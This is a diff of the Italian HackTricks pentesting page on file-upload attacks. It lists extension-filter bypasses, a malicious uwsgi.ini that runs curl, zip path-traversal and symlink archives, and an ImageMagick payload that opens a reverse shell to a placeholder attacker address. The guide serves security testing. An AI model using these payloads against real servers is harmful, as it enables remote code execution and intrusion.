* **Erlang Yaws Web Server**: _.yaws_
|
||||||
|
|
||||||
### Ignora i controlli sulle estensioni dei file
|
### Eludere i controlli sulle estensioni dei file
|
||||||
|
|
||||||
1. Se applicano, **controlla** le **estensioni precedenti**. Provali anche usando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
|
1. Se vengono applicati, **controllare** le **estensioni precedenti**. Testarle anche utilizzando alcune **lettere maiuscole**: _pHp, .pHP5, .PhAr ..._
|
||||||
2. _Controlla **aggiungendo un'estensione valida prima** dell'estensione di esecuzione (usa anche le estensioni precedenti):_
|
2. _Controllare **aggiungendo un'estensione valida prima** dell'estensione di esecuzione (utilizzare anche le estensioni precedenti):_
|
||||||
* _file.png.php_
|
* _file.png.php_
|
||||||
* _file.png.Php5_
|
* _file.png.Php5_
|
||||||
3. Prova ad aggiungere **caratteri speciali alla fine**. Potresti usare Burp per **forzare** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a usare le **estensioni precedentemente** menzionate_)
|
3. Provare ad aggiungere **caratteri speciali alla fine**. Potresti utilizzare Burp per **forzare** tutti i caratteri **ascii** e **Unicode**. (_Nota che puoi anche provare a utilizzare le **estensioni precedentemente** menzionate_)
|
||||||
* _file.php%20_
|
* _file.php%20_
|
||||||
* _file.php%0a_
|
* _file.php%0a_
|
||||||
* _file.php%00_
|
* _file.php%00_
|
||||||
|
@ -49,7 +49,7 @@ Altre estensioni utili:
|
||||||
* _file._
|
* _file._
|
||||||
* _file.php...._
|
* _file.php...._
|
||||||
* _file.pHp5...._
|
* _file.pHp5...._
|
||||||
4. Prova a ignorare le protezioni **ingannando il parser delle estensioni** lato server con tecniche come **raddoppiare** l'estensione o **aggiungere dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche usare le **estensioni precedenti** per preparare un payload migliore._
|
4. Provare a eludere le protezioni **ingannando il parser delle estensioni** lato server con tecniche come **raddoppiare** l'estensione o **aggiungere dati spazzatura** (byte **null**) tra le estensioni. _Puoi anche utilizzare le **estensioni precedenti** per preparare un payload migliore._
|
||||||
* _file.png.php_
|
* _file.png.php_
|
||||||
* _file.png.pHp5_
|
* _file.png.pHp5_
|
||||||
* _file.php#.png_
|
* _file.php#.png_
|
||||||
|
@ -58,13 +58,13 @@ Altre estensioni utili:
|
||||||
* _file.php%0a.png_
|
* _file.php%0a.png_
|
||||||
* _file.php%0d%0a.png_
|
* _file.php%0d%0a.png_
|
||||||
* _file.phpJunk123png_
|
* _file.phpJunk123png_
|
||||||
5. Aggiungi **un'altra serie di estensioni** al controllo precedente:
|
5. Aggiungere **un'altra serie di estensioni** al controllo precedente:
|
||||||
* _file.png.jpg.php_
|
* _file.png.jpg.php_
|
||||||
* _file.php%00.png%00.jpg_
|
* _file.php%00.png%00.jpg_
|
||||||
6. Prova a mettere l'estensione **exec prima dell'estensione valida** e spera che il server sia configurato in modo errato. (utile per sfruttare le errate configurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente terminante in .php\*\* eseguirà il codice):
|
6. Provare a mettere l'estensione **exec prima dell'estensione valida** e sperare che il server sia configurato in modo errato. (utile per sfruttare le errate configurazioni di Apache dove qualsiasi cosa con estensione\*\* _**.php**_**, ma** non necessariamente terminante in .php\*\* eseguirà il codice):
|
||||||
* _es: file.php.png_
|
* _es: file.php.png_
|
||||||
7. Utilizzo di **NTFS alternate data stream (ADS)** in **Windows**. In questo caso, verrà inserito un carattere due punti ":" dopo un'estensione vietata e prima di una consentita. Di conseguenza, verrà creato un **file vuoto con l'estensione vietata** sul server (ad es. "file.asax:.jpg"). Questo file potrebbe essere modificato successivamente utilizzando altre tecniche come l'utilizzo del suo nome breve. Il modello "**::$data**" può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo modello potrebbe essere utile per ignorare ulteriori restrizioni (.e.g. "file.asp::$data.")
|
7. Utilizzare lo **stream di dati alternativi NTFS (ADS)** in **Windows**. In questo caso, verrà inserito un carattere due punti ":" dopo un'estensione vietata e prima di una consentita. Di conseguenza, verrà creato un **file vuoto con l'estensione vietata** sul server (ad es. "file.asax:.jpg"). Questo file potrebbe essere modificato successivamente utilizzando altre tecniche come l'utilizzo del suo nome breve. Il modello “**::$data**” può anche essere utilizzato per creare file non vuoti. Pertanto, aggiungere un punto dopo questo modello potrebbe essere utile per eludere ulteriori restrizioni (ad es. “file.asp::$data.”)
|
||||||
8. Prova a superare i limiti del nome del file. L'estensione valida viene troncata. E il PHP dannoso viene lasciato. AAA<--SNIP-->AAA.php
|
8. Provare a superare i limiti del nome del file. L'estensione valida viene tagliata. E il PHP dannoso viene lasciato. AAA<--SNIP-->AAA.php
|
||||||
|
|
||||||
```
|
```
|
||||||
# Linux massimo 255 byte
|
# Linux massimo 255 byte
|
||||||
|
@ -98,7 +98,7 @@ Oppure potresti anche **inserire direttamente il payload** in un'immagine:\
|
||||||
* **Possibile divulgazione di informazioni**:
|
* **Possibile divulgazione di informazioni**:
|
||||||
1. Carica **più volte** (e allo **stesso tempo**) lo **stesso file** con lo **stesso nome**
|
1. Carica **più volte** (e allo **stesso tempo**) lo **stesso file** con lo **stesso nome**
|
||||||
2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
|
2. Carica un file con il **nome** di un **file** o **cartella** che **esiste già**
|
||||||
3. Carica un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome “.” creerà un file chiamato “uploads” nella directory “/www/”.
|
3. Carica un file con **“.”, “..”, o “…” come nome**. Ad esempio, in Apache in **Windows**, se l'applicazione salva i file caricati nella directory “/www/uploads/”, il nome del file “.” creerà un file chiamato “uploads” nella directory “/www/”.
|
||||||
4. Carica un file che potrebbe non essere eliminato facilmente come **“…:.jpg”** in **NTFS** (Windows).
|
4. Carica un file che potrebbe non essere eliminato facilmente come **“…:.jpg”** in **NTFS** (Windows).
|
||||||
5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel nome (Windows).
|
5. Carica un file in **Windows** con **caratteri non validi** come `|<>*?”` nel nome (Windows).
|
||||||
6. Carica un file in **Windows** utilizzando **nomi riservati** (**proibiti**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
|
6. Carica un file in **Windows** utilizzando **nomi riservati** (**proibiti**) come CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 e LPT9.
|
||||||
|
@ -106,8 +106,8 @@ Oppure potresti anche **inserire direttamente il payload** in un'immagine:\
|
||||||
|
|
||||||
### Trucchi speciali sull'estensione
|
### Trucchi speciali sull'estensione
|
||||||
|
|
||||||
Se stai cercando di caricare file su un **server PHP**, [dai un'occhiata al trucco del file **.htaccess** per eseguire codice](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
Se stai cercando di caricare file su un **server PHP**, [dai un'occhiata al trucco del file **.htaccess per eseguire codice**](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||||
Se stai cercando di caricare file su un **server ASP**, [dai un'occhiata al trucco del file **.config** per eseguire codice](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
Se stai cercando di caricare file su un **server ASP**, [dai un'occhiata al trucco del file **.config per eseguire codice**](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||||
|
|
||||||
I file `.phar` sono come i file `.jar` per Java, ma per PHP, e possono essere **usati come un file PHP** (eseguendolo con PHP o includendolo all'interno di uno script...).
|
I file `.phar` sono come i file `.jar` per Java, ma per PHP, e possono essere **usati come un file PHP** (eseguendolo con PHP o includendolo all'interno di uno script...).
|
||||||
|
|
||||||
|
@ -115,7 +115,7 @@ L'estensione `.inc` viene talvolta utilizzata per i file PHP che vengono utilizz
|
||||||
|
|
||||||
## **Jetty RCE**
|
## **Jetty RCE**
|
||||||
|
|
||||||
Se puoi caricare un file XML in un server Jetty, puoi ottenere [RCE perché i **nuovi file \*.xml e \*.war vengono elaborati automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come indicato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e aspettati la shell!
|
Se puoi caricare un file XML su un server Jetty, puoi ottenere [RCE perché i **nuovi file \*.xml e \*.war vengono elaborati automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Quindi, come indicato nell'immagine seguente, carica il file XML in `$JETTY_BASE/webapps/` e attendi la shell!
|
||||||
|
|
||||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
|
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>)
|
||||||
|
|
||||||
|
@ -123,7 +123,7 @@ Se puoi caricare un file XML in un server Jetty, puoi ottenere [RCE perché i **
|
||||||
|
|
||||||
Per una dettagliata esplorazione di questa vulnerabilità, controlla la ricerca originale: [Sfruttamento di uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
Per una dettagliata esplorazione di questa vulnerabilità, controlla la ricerca originale: [Sfruttamento di uWSGI RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||||
|
|
||||||
Le vulnerabilità di Esecuzione di Comandi Remoti (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI utilizzano una sintassi specifica per incorporare variabili "magiche", segnaposti e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malintenzionati come l'Esecuzione di Comandi Remoti o la Scrittura/Lettura Arbitraria di File quando un file di configurazione `.ini` viene elaborato.
|
Le vulnerabilità di Esecuzione di Comandi Remoti (RCE) possono essere sfruttate nei server uWSGI se si ha la capacità di modificare il file di configurazione `.ini`. I file di configurazione uWSGI fanno leva su una sintassi specifica per incorporare variabili "magiche", segnaposti e operatori. In particolare, l'operatore '@', utilizzato come `@(filename)`, è progettato per includere il contenuto di un file. Tra i vari schemi supportati in uWSGI, lo schema "exec" è particolarmente potente, consentendo la lettura dei dati dall'output standard di un processo. Questa funzionalità può essere manipolata per scopi malintenzionati come l'Esecuzione di Comandi Remoti o la Scrittura/Lettura Arbitraria di File quando un file di configurazione `.ini` viene elaborato.
|
||||||
|
|
||||||
Considera il seguente esempio di un dannoso file `uwsgi.ini`, che mostra vari schemi:
|
Considera il seguente esempio di un dannoso file `uwsgi.ini`, che mostra vari schemi:
|
||||||
```ini
|
```ini
|
||||||
|
@ -143,9 +143,9 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||||
; call a function returning a char *
|
; call a function returning a char *
|
||||||
characters = @(call://uwsgi_func)
|
characters = @(call://uwsgi_func)
|
||||||
```
|
```
|
||||||
L'esecuzione del payload avviene durante l'analisi del file di configurazione. Per attivare e analizzare la configurazione, il processo uWSGI deve essere riavviato (potenzialmente dopo un arresto anomalo o a causa di un attacco di negazione del servizio) oppure il file deve essere impostato per il ricaricamento automatico. La funzionalità di ricaricamento automatico, se abilitata, ricarica il file a intervalli specificati alla rilevazione di modifiche.
|
L'esecuzione del payload avviene durante l'analisi del file di configurazione. Per attivare e analizzare la configurazione, il processo uWSGI deve essere riavviato (potenzialmente dopo un arresto anomalo o a causa di un attacco di negazione del servizio) o il file deve essere impostato per il ricaricamento automatico. La funzionalità di ricaricamento automatico, se abilitata, ricarica il file a intervalli specificati alla rilevazione di modifiche.
|
||||||
|
|
||||||
È cruciale comprendere la natura poco rigorosa dell'analisi del file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente il campo delle potenziali vulnerabilità.
|
È cruciale comprendere la natura permissiva dell'analisi del file di configurazione di uWSGI. In particolare, il payload discusso può essere inserito in un file binario (come un'immagine o un PDF), ampliando ulteriormente il campo delle potenziali vulnerabilità.
|
||||||
|
|
||||||
## **Trucco di caricamento file/SSRF di wget**
|
## **Trucco di caricamento file/SSRF di wget**
|
||||||
|
|
||||||
|
@ -177,7 +177,7 @@ Nota che **un'altra opzione** a cui potresti pensare per eludere questo controll
|
||||||
|
|
||||||
## Strumenti
|
## Strumenti
|
||||||
|
|
||||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) è uno strumento potente progettato per assistere Pentester e Bug Hunter nel testare i meccanismi di caricamento file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
|
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) è un potente strumento progettato per assistere Pentesters e Bug Hunters nel testare i meccanismi di caricamento file. Sfrutta varie tecniche di bug bounty per semplificare il processo di identificazione e sfruttamento delle vulnerabilità, garantendo valutazioni approfondite delle applicazioni web.
|
||||||
|
|
||||||
## Dal caricamento file ad altre vulnerabilità
|
## Dal caricamento file ad altre vulnerabilità
|
||||||
|
|
||||||
|
@ -188,7 +188,7 @@ Nota che **un'altra opzione** a cui potresti pensare per eludere questo controll
|
||||||
* [**XSS** in caricamento file immagine (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
* [**XSS** in caricamento file immagine (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||||
* Caricamento file **JS** + **XSS** = [sfruttamento dei **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
* Caricamento file **JS** + **XSS** = [sfruttamento dei **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||||
* [**XXE in caricamento svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
* [**XXE in caricamento svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||||
* [**Reindirizzamento aperto** tramite caricamento file svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
* [**Redirect aperto** tramite caricamento file svg](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||||
* Prova **diversi payload svg** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
* Prova **diversi payload svg** da [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
|
||||||
* [Famosa vulnerabilità **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
* [Famosa vulnerabilità **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||||
* Se puoi **indicare al server web di acquisire un'immagine da un URL** potresti provare a sfruttare un [SSRF](../ssrf-server-side-request-forgery/). Se questa **immagine** verrà **salvata** in un sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni da ogni visitatore**.
|
* Se puoi **indicare al server web di acquisire un'immagine da un URL** potresti provare a sfruttare un [SSRF](../ssrf-server-side-request-forgery/). Se questa **immagine** verrà **salvata** in un sito **pubblico**, potresti anche indicare un URL da [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **rubare informazioni da ogni visitatore**.
|
||||||
|
@ -202,10 +202,10 @@ Ecco una lista dei primi 10 obiettivi che puoi raggiungere tramite il caricament
|
||||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||||
2. **SVG**: Stored XSS / SSRF / XXE
|
2. **SVG**: Stored XSS / SSRF / XXE
|
||||||
3. **GIF**: Stored XSS / SSRF
|
3. **GIF**: Stored XSS / SSRF
|
||||||
4. **CSV**: CSV injection
|
4. **CSV**: Iniezione CSV
|
||||||
5. **XML**: XXE
|
5. **XML**: XXE
|
||||||
6. **AVI**: LFI / SSRF
|
6. **AVI**: LFI / SSRF
|
||||||
7. **HTML / JS** : HTML injection / XSS / Reindirizzamento aperto
|
7. **HTML / JS** : Iniezione HTML / XSS / Redirect aperto
|
||||||
8. **PNG / JPEG**: Attacco di flood di pixel (DoS)
|
8. **PNG / JPEG**: Attacco di flood di pixel (DoS)
|
||||||
9. **ZIP**: RCE tramite LFI / DoS
|
9. **ZIP**: RCE tramite LFI / DoS
|
||||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||||
|
@ -225,9 +225,9 @@ Fai riferimento a [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](htt
|
||||||
|
|
||||||
Se puoi caricare un file ZIP che verrà decompresso all'interno del server, puoi fare 2 cose:
|
Se puoi caricare un file ZIP che verrà decompresso all'interno del server, puoi fare 2 cose:
|
||||||
|
|
||||||
#### Collegamento simbolico
|
#### Symlink
|
||||||
|
|
||||||
Carica un link contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompressi, accederai ai file collegati:
|
Carica un collegamento contenente collegamenti simbolici ad altri file, quindi, accedendo ai file decompressi, accederai ai file collegati:
|
||||||
```
|
```
|
||||||
ln -s ../../../index.php symindex.txt
|
ln -s ../../../index.php symindex.txt
|
||||||
zip --symlinks test.zip symindex.txt
|
zip --symlinks test.zip symindex.txt
|
||||||
|
@ -235,7 +235,7 @@ tar -cvf test.tar symindex.txt
|
||||||
```
|
```
|
||||||
### Decomprimere in cartelle diverse
|
### Decomprimere in cartelle diverse
|
||||||
|
|
||||||
La creazione inaspettata di file nelle directory durante la decompressione è un problema significativo. Nonostante le ipotesi iniziali che questa configurazione potesse proteggere dall'esecuzione di comandi a livello di sistema operativo tramite caricamenti di file dannosi, il supporto alla compressione gerarchica e le capacità di attraversamento delle directory del formato di archivio ZIP possono essere sfruttati. Ciò consente agli attaccanti di eludere le restrizioni ed uscire dalle directory di caricamento sicure manipolando la funzionalità di decompressione dell'applicazione presa di mira.
|
La creazione inaspettata di file in directory durante la decompressione è un problema significativo. Nonostante le ipotesi iniziali che questa configurazione potesse proteggere dall'esecuzione di comandi a livello di sistema operativo tramite caricamenti di file dannosi, il supporto alla compressione gerarchica e le capacità di attraversamento delle directory del formato di archivio ZIP possono essere sfruttati. Ciò consente agli attaccanti di eludere le restrizioni ed uscire dalle directory di caricamento sicure manipolando la funzionalità di decompressione dell'applicazione presa di mira.
|
||||||
|
|
||||||
Un exploit automatizzato per creare tali file è disponibile su [**evilarc su GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come segue:
|
Un exploit automatizzato per creare tali file è disponibile su [**evilarc su GitHub**](https://github.com/ptoomey3/evilarc). L'utilità può essere utilizzata come segue:
|
||||||
```python
|
```python
|
||||||
|
@ -244,7 +244,7 @@ python2 evilarc.py -h
|
||||||
# Creating a malicious archive
|
# Creating a malicious archive
|
||||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||||
```
|
```
|
||||||
Inoltre, l'**inganno del symlink con evilarc** è un'opzione. Se l'obiettivo è quello di mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a tale file nel tuo sistema. Ciò garantisce che evilarc non incontri errori durante la sua operazione.
|
Inoltre, il **trucco del symlink con evilarc** è un'opzione. Se l'obiettivo è quello di mirare a un file come `/flag.txt`, dovrebbe essere creato un symlink a tale file nel tuo sistema. Questo assicura che evilarc non incontri errori durante la sua operazione.
|
||||||
|
|
||||||
Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip maligno:
|
Di seguito è riportato un esempio di codice Python utilizzato per creare un file zip maligno:
|
||||||
```python
|
```python
|
||||||
|
@ -300,19 +300,19 @@ viewbox 0 0 640 480
|
||||||
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
|
||||||
pop graphic-context
|
pop graphic-context
|
||||||
```
|
```
|
||||||
## Incorporazione di Shell PHP in PNG
|
## Incorporazione di PHP Shell su PNG
|
||||||
|
|
||||||
L'incorporazione di una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente determinate operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere indenne da queste operazioni è un vantaggio significativo per determinati casi d'uso.
|
L'incorporazione di una shell PHP nel chunk IDAT di un file PNG può bypassare efficacemente determinate operazioni di elaborazione delle immagini. Le funzioni `imagecopyresized` e `imagecopyresampled` di PHP-GD sono particolarmente rilevanti in questo contesto, poiché sono comunemente utilizzate per ridimensionare e campionare le immagini, rispettivamente. La capacità della shell PHP incorporata di rimanere indenne da queste operazioni è un vantaggio significativo per determinati casi d'uso.
|
||||||
|
|
||||||
Una dettagliata esplorazione di questa tecnica, inclusa la sua metodologia e le potenziali applicazioni, è fornita nell'articolo seguente: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione completa del processo e delle sue implicazioni.
|
Una dettagliata esplorazione di questa tecnica, inclusa la sua metodologia e le potenziali applicazioni, è fornita nell'articolo seguente: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Questa risorsa offre una comprensione esaustiva del processo e delle sue implicazioni.
|
||||||
|
|
||||||
Ulteriori informazioni su: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
Ulteriori informazioni su: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
|
|
||||||
## File Poliglotti
|
## File Poliglotti
|
||||||
|
|
||||||
I file poliglotti fungono da strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente contemporaneamente in più formati di file. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non si limitano a questa combinazione; sono anche possibili combinazioni come GIF e JS o PPT e JS.
|
I file poliglotti fungono da strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente contemporaneamente in diversi formati di file. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non si limitano a questa combinazione; sono anche possibili combinazioni come GIF e JS o PPT e JS.
|
||||||
|
|
||||||
L'utilità principale dei file poliglotti risiede nella loro capacità di aggirare le misure di sicurezza che controllano i file in base al tipo. La pratica comune in varie applicazioni prevede di permettere solo determinati tipi di file per il caricamento, come JPEG, GIF o DOC, per ridurre il rischio rappresentato dai formati potenzialmente dannosi (ad esempio, JS, PHP o file Phar). Tuttavia, un poliglotta, conformandosi ai criteri strutturali di più tipi di file, può aggirare stealthily queste restrizioni.
|
L'utilità principale dei file poliglotti risiede nella loro capacità di aggirare le misure di sicurezza che controllano i file in base al tipo. La pratica comune in varie applicazioni prevede di permettere solo determinati tipi di file per il caricamento, come JPEG, GIF o DOC, per ridurre il rischio rappresentato dai formati potenzialmente dannosi (ad esempio, file JS, PHP o Phar). Tuttavia, un poliglotta, conformandosi ai criteri strutturali di più tipi di file, può aggirare stealthily queste restrizioni.
|
||||||
|
|
||||||
Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglotta potrebbe incarnare contemporaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche sull'estensione dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglotta potrebbe non essere sufficiente a garantirne il caricamento.
|
Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglotta potrebbe incarnare contemporaneamente un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche sull'estensione dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglotta potrebbe non essere sufficiente a garantirne il caricamento.
|
||||||
|
|
||||||
|
@ -327,21 +327,21 @@ Ulteriori informazioni su: [https://medium.com/swlh/polyglot-files-a-hackers-bes
|
||||||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nel campo dell'hacking** e a violare ciò che sembra inviolabile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
Se sei interessato a una **carriera nel hacking** e a hackerare l'impossibile - **stiamo assumendo!** (_richiesta competenza scritta e parlata in polacco_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
|
|
|
@ -7,21 +7,21 @@
|
||||||
Altri modi per supportare HackTricks:
|
Altri modi per supportare HackTricks:
|
||||||
|
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
